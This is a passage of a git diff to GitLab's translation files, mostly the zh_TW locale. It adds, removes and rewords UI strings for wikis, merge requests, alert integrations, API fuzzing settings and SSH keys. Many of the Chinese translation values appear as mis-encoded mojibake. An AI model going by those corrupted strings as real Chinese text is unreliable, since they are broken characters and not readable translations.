+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr "顯示標籤"
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "查看開啟的åˆä¸¦è«‹æ±‚"
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr "寫評論或拖動你的文件到這裡"
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr "需è¦ç›¸é—œçš„權é™ã€‚"
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr "進入"
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index 6c12df7fde6..4b8fe0d4b77 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:13\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 個確定的測試çµæžœ"
@@ -333,6 +341,9 @@ msgstr "%{authorsName} 的話題"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr "ç”± %{commit_author_link} æ交於 %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr "來自 %{name} 的 %{count} 個核准"
msgid "%{count} files touched"
msgstr "å·²é¸æ“‡ %{count} 個檔案"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr "其餘 %{count} 項"
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} 使用群組管ç†å¸³æˆ¶ã€‚您需è¦å»ºç«‹ä¸€å€‹æ–°çš„ GitLab 帳戶,該帳戶將由 %{group_name} 群組管ç†ã€‚"
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end} 分享給 GitLab Inc. 的訊æ¯ã€‚"
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (無法åˆä½µ)"
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] "%d天"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] "%d時"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "%{merge_requests} 個已åˆä½µçš„åˆä½µè«‹æ±‚"
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] "%d分"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "%{issues} 個開放議題"
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] "%{num} ä½ä½¿ç”¨è€…"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr "1-9 é …è²¢ç»"
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "「%{file_name}ã€æª”å已經在 %{branch} 分支"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "有ä½å…·æœ‰ä¾†æºåˆ†æ”¯å¯«å…¥æ¬Šé™çš„使用者é¸æ“‡äº†æ­¤é¸é …"
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr "API 權æ–"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr "帳戶和é™åˆ¶"
msgid "Account: %{account}"
msgstr "帳戶:%{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr "加入"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "加入 %d 個議題"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr "加入 GPG 金鑰"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "在管ç†å´é‚Šæ¬„的監控部分加入 Grafana 按鈕,以便存å–關於GitLab 執行狀æ³å’Œæ•ˆèƒ½çš„å„種統計資料。"
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "加入項目清單"
@@ -1757,6 +1802,9 @@ msgstr "ç«‹å³åŠ å…¥ç•™è¨€"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr "加入é é¦–å’Œé å°¾åˆ°é›»å­éƒµä»¶ã€‚請注æ„,é¡è‰²è¨­å®šåªæœƒå¥—
msgid "Add image comment"
msgstr "加入圖片留言"
-msgid "Add issues"
-msgstr "加入議題"
-
msgid "Add italic text"
msgstr "加入斜體文字"
@@ -1814,6 +1859,9 @@ msgstr "增加或減少耗時"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "加入回應"
@@ -1832,6 +1880,9 @@ msgstr "加入系統掛鉤"
msgid "Add to Slack"
msgstr "加到 Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "加到å²è©©"
@@ -1925,6 +1976,9 @@ msgstr "é¡å¤–分é˜"
msgid "Additional text"
msgstr "附加文字"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "加入"
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr "管ç†ä¸­å¿ƒ"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr "您å³å°‡åœæ­¢æ‰€æœ‰ä½œæ¥­ã€‚這會中斷並çµæŸæ‰€æœ‰æ­£åœ¨åŸ·è¡Œçš„
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "載入統計資料時發生錯誤。請å†è©¦ä¸€æ¬¡"
-msgid "AdminNote|Note"
-msgstr " 備註"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "您å³å°‡æ°¸ä¹…刪除專案 %{projectName}ã€å…¶ç‰ˆæœ¬åº«ä»¥åŠæ‰€æœ‰ç›¸é—œè³‡æºï¼ŒåŒ…括議題ã€åˆä½µè«‹æ±‚等。一旦確èªä¸¦æŒ‰ä¸‹ %{strong_start}刪除專案%{strong_end} 就無法復原。"
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "警示"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
